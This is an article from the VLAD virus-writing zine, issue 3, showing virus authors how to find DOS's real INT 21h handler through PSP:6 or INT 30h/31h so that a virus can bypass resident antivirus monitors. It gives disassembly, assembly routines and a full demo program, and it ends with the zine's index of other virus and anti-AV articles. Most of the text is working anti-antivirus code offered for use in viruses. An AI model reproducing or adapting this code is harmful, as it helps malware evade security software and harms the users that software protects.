Virus Labs & Distribution
VLAD #3 - Tracing Int21




                 FINDING INT 21's REAL ADDRESS USING THE PSP
                 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


                           by Satan's Little Helper


    DESCRIPTION
    ÄÄÄÄÄÄÄÄÄÄÄ

            The real address of interrupt 21 is useful to almost
        all viruses it enables viruses to bypass resident monitoring
        software loaded as device drivers or TSR's.  This article will
        demonstrate a method by which you can obtain the real address
        of INT 21 by using the entry at offset 6 in the PSP segment.

            PSP:6 contains a double-word pointing (hopefully) to the
        dos dispatch handler (this is different from the INT 21
        handler).  Then *optionally* the dispatch handler has a series
        of jumps (opcode=0EAh) then it will either a) point to the
        dos dispatch handler or b) the double-NOP call construct used
        in some DOS versions which will then point to (a).

            The dos dispatch handler and int 21 handler in memory appear
        like this:

    dos_dispatch_handler:
        0000  1E                   push    ds
        0001  2E: 8E 1E 3DE7       mov     ds,word ptr cs:[3DE7h]
        0006  8F 06 05EC           pop     word ptr ds:[5ECh]
        000A  58                   pop     ax
        000B  58                   pop     ax
        000C  8F 06 0584           pop     word ptr ds:[584h]
        0010  9C                   pushf
        0011  FA                   cli
        0012  50                   push    ax
        0013  FF 36 0584           push    word ptr ds:[584h]
        0017  FF 36 05EC           push    word ptr ds:[5ECh]
        001B  1F                   pop     ds
        001C  80 F9 24             cmp     cl,24h
        001F  77 DC                ja      $-22h
        0021  8A E1                mov     ah,cl
        0023  EB 06                jmp     $+8
    int21_handler:
        0025  FA                   cli
        0026  80 FC 6C             cmp     ah,6Ch
        0029  77 D2                ja      $-2Ch
        002B  80 FC 33             cmp     ah,33h

    therefore:

        int21_handler = dos_dispatch_handler + 25h

            So the end result is we just find 'dos_dispatch_hndlr'
        address then check that the opcodes are right (1E2E/FA80)
        and then add (int21_handler-dos_dispatch_hndlr) to the
        pointer to dos_dispatch_hndlr to get the INT 21 handler
        address.

        Simple! (read it again if you don't get it).

        In the case of (b) occurring we just do the same except
        the offset of the dispatch handler from the int 21
        handler is different:

        0000  90                   nop
        0001  90                   nop
        0002  E8 00E0              call    $+0E3h
        0005  2E: FF 2E 1062       jmp     dword ptr cs:[1062h]
        000A  90                   nop
        000B  90                   nop
        000C  E8 00D6              call    $+0D9h
        000F  2E: FF 2E 1066       jmp     dword ptr cs:[1066h]
    int21_handler:
        0014  90                   nop
        0015  90                   nop
        0016  E8 00CC              call    $+0CFh
        0019  2E: FF 2E 106A       jmp     dword ptr cs:[106Ah]
        001E  90                   nop
        001F  90                   nop
        0020  E8 00C2              call    $+0C5h
        0023  2E: FF 2E 106E       jmp     dword ptr cs:[106Eh]
        0028  90                   nop
        0029  90                   nop
        002A  E8 00B8              call    $+0BBh
        002D  2E: FF 2E 1072       jmp     dword ptr cs:[1072h]
        0032  90                   nop
        0033  90                   nop
        0034  E8 00AE              call    $+0B1h
        0037  2E: FF 2E 1076       jmp     dword ptr cs:[1076h]
        003C  90                   nop
        003D  90                   nop
        003E  E8 00A4              call    $+0A7h
        0041  2E: FF 2E 107A       jmp     dword ptr cs:[107Ah]
    dos_dispatch_handler:
        0046  90                   nop
        0047  90                   nop
        0048  E8 009A              call    $+9Dh
        004B  2E: FF 2E 107E       jmp     dword ptr cs:[107Eh]

    therefore:

        int21_handler = dos_dispatch_handler - 32h


    ADVANTAGES & DISADVANTAGES OF THIS METHOD
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

            This method requires a very small amount of code and
        can be made even more efficient than the code shown below.

            Although untrappable it can be confused into tracing
        into the resident monitor's trapping code.  Much of the
        logic of this method is hard coded so changes in the
        opcodes (from TSR AV utilities) will be able to trick it
        into thinking it has found the correct address (this
        requires use of the double-NOP signatures).

            AV developers appear to be reluctant to modify their
        software for specific viruses so may avoid placing the
        sequence to confuse it into their software.

    CODE
    ÄÄÄÄ

        This code is not designed to be size efficent it is designed
        to be easy to understand.

        ;name:      psp_trace
        ;in cond:   ds=psp segment
        ;out cond:  ds:bx=int 21 address if carry clear
        ;           ds:bx=nothing if carry set.
        ;purpose:   finds int 21 address using a PSP trace.

        psp_trace:
            lds     bx,ds:[0006h]           ;point to dispatch handler
        trace_next:
            cmp     byte ptr ds:[bx],0EAh   ;is it JMP xxxx:xxxx ?
            jnz     check_dispatch
            lds     bx,ds:[bx+1]            ;point to xxxx:xxxx of the JMP
            cmp     word ptr ds:[bx],9090h  ;check for double-NOP signature
            jnz     trace_next
            sub     bx,32h                  ;32h byte offset from dispatch
                                            ;handler
            cmp     word ptr ds:[bx],9090h  ;int 21 has same sig if it works
            jnz     check_dispatch
        good_search:
            clc
            ret
        check_dispatch:
            cmp     word ptr ds:[bx],2E1Eh  ;check for push ds, cs: override
            jnz     bad_exit
            add     bx,25h                  ;25h byte offset from dispatch
            cmp     word ptr ds:[bx],80FAh  ;check for cli, push ax
            jz      good_search
        bad_exit:
            stc
            ret

    NOTES
    ÄÄÄÄÄ

            INT 30h and INT 31h contain *code* (not an address) to
        jump to the dispatch handler so to trace using INT 30h/31h
        you just set ds:bx to 0:c0 and call the trace_next in the
        psp_trace routine.

        Debug hex dump of INT 30/31 addresses in the IVT:

                  Immediate far JMP
                    ____________
        -d 0:c0    |            |
        0000:00C0  EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01
                   |_________| |_________|
                      INT 30     INT 31
                       addr       addr

        EA 28 00 02 01 = JMP 0102:0028

        ;name:      int30_trace
        ;out cond:  ds:bx=int 21 address if carry clear
        ;           ds:bx=nothing if carry set.
        ;purpose:   finds int 21 address using an INT 30/31 trace.

        int30_trace:
            xor     bx,bx
            mov     ds,bx
            mov     bl,0c0h                 ;point to 0:0c0
            jmp     short trace_next


    OTHER NOTES
    ÄÄÄÄÄÄÄÄÄÄÄ

        After writing this I heard that the "MG" virus uses the same
        technique, I have a sample of this virus and it does not use
        the same technique.


    TESTING
    ÄÄÄÄÄÄÄ

            So far this has been tested on MSDOS 6.x, Novell Netware,
        and IBM network software all resulting in positive tests.

            Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT
        could not be found.  It is expected that this will not work
        on *ALL* DOS-type platforms but that is why I implemented
        error codes in the form of the carry flag being set/clear.


    CONCLUSION
    ÄÄÄÄÄÄÄÄÄÄ

            It has been shown that INT 30h/31h is slightly more
        reliable than the PSP:6 address, so if a call to psp_trace
        results in carry set then call int30_trace.  The reason
        you should call PSP trace first is that altering INT 30/31
        is much easier than altering PSP:6 so it makes the AV do
        more work ;)


    CREDITS
    ÄÄÄÄÄÄÄ

        TaLoN - helped in working out offsets and told me
                about int 30h/31h pointing to dispatch handler.
        Lookout Man - tester
        Aardvark - network tester

    DEMO PROGRAM
    ÄÄÄÄÄÄÄÄÄÄÄÄ


    ;-------8<--------cut here---------8<-------

    comment |

        TASM ASSEMBLY:
            tasm psptest.asm
            tlink /t psptest.obj

        A86 ASSEMBLY:
            a86 psptest.asm
    |

    .model tiny
    .code

    org     100h

start:
    mov     dx,offset psp_status
    call    print_str                       ;print "PSP trace: "
    call    psp_trace                       ;do the trace
    jc      bad_psp
print_status:
    mov     dx,offset ok_str                ;print "Ok!"
    call    print_str
    mov     dx,offset psp_addr              ;print "interrupt trace to: "
    call    print_str
    push    bx
    mov     bx,ds                           ;print segment
    call    bin_to_hex
    call    print_colon                     ;print ":"
    pop     bx
    call    bin_to_hex                      ;print offset
    jmp     do_int30
bad_psp:
    mov     dx,offset bad_str
    call    print_str
do_int30:
    nop
    nop
    mov     word ptr cs:do_int30,20CDh      ;exit next time around
    mov     dx,offset i30_status
    call    print_str                       ;print "PSP trace: "
    call    int30_trace
    jnc     print_status
    jmp     short do_int30

print_str:
    mov     ah,9
    push    ds
    push    cs
    pop     ds
    int     21h
    pop     ds
    ret

psp_addr    db  13,10,'Interrupt traced to: $'
psp_status  db  13,10,'PSP trace      : $'
i30_status  db  13,10,'INT 30/31 trace: $'
ok_str      db  'Ok!$'
bad_str     db  'Failure$'

;name:      psp_trace
;in cond:   ds=psp segment
;out cond:  ds:bx=int 21 address if carry clear
;           ds:bx=nothing if carry set.
;purpose:   finds int 21 address using a PSP trace.

psp_trace:
    lds     bx,ds:[0006h]           ;point to dispatch handler
trace_next:
    cmp     byte ptr ds:[bx],0EAh   ;is it JMP xxxx:xxxx ?
    jnz     check_dispatch
    lds     bx,ds:[bx+1]            ;point to xxxx:xxxx of the JMP
    cmp     word ptr ds:[bx],9090h  ;check for double-NOP signature
    jnz     trace_next
    sub     bx,32h                  ;32h byte offset from dispatch
                                    ;handler
    cmp     word ptr ds:[bx],9090h  ;int 21 has same sig if it works
    jnz     check_dispatch
good_search:
    clc
    ret
check_dispatch:
    cmp     word ptr ds:[bx],2E1Eh  ;check for push ds, cs: override
    jnz     bad_exit
    add     bx,25h                  ;25h byte offset from dispatch
    cmp     word ptr ds:[bx],80FAh  ;check for cli, push ax
    jz      good_search
bad_exit:
    stc
    ret

;name:      int30_trace
;out cond:  ds:bx=int 21 address if carry clear
;           ds:bx=nothing if carry set.
;purpose:   finds int 21 address using an INT 30/31 trace.

int30_trace:
    xor     bx,bx
    mov     ds,bx
    mov     bl,0c0h                 ;point to 0:0c0
    jmp     short trace_next

bin_to_hex:                         ;will print number in BX as hex
    push    cx                      ;code stolen from KRTT demo
    push    dx
    push    ax
    mov     ch,4
rotate:
    mov     cl,4
    rol     bx,cl
    mov     al,bl
    and     al,0Fh
    add     al,30h
    cmp     al,'9'+1
    jl      print_it
    add     al,07h
print_it:
    mov     dl,al
    mov     ah,2
    int     21h
    dec     ch
    jnz     rotate
    pop     ax
    pop     dx
    pop     cx
    ret

print_colon:
    mov     ah,2
    mov     dl,':'
    int     21h
    ret

    end     start

    ;-------8<--------cut here---------8<-------

- VLAD #3 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

The Press
ARTICLE.2_2       Fooling TBScan
ARTICLE.2_3       Backdoors
ARTICLE.2_4       Tracing Int21
ARTICLE.2_5       Replication
ARTICLE.2_6       VSUM denial
ARTICLE.2_7       Proview

ARTICLE.3_1      

TBTSR Checking
ARTICLE.3_2       TBScan Flags
ARTICLE.3_3       HD Port Reading
ARTICLE.3_4       HD Port Writing
ARTICLE.3_5       TBAV Monitor
ARTICLE.3_6       Micro128 Disasm
ARTICLE.3_7       Aust403 Disasm

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Hemlock
ARTICLE.4_3       Antipode
ARTICLE.4_4       Insert
ARTICLE.4_5       VLAD-DIR
ARTICLE.4_6       Quantum Magick
ARTICLE.4_7       Mon Ami La Pendule

ARTICLE.5_1      

Monkeys
ARTICLE.5_2       Small Virus
ARTICLE.5_3       Catch-22
ARTICLE.5_4       ART Engine
ARTICLE.5_5       Megastealth
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main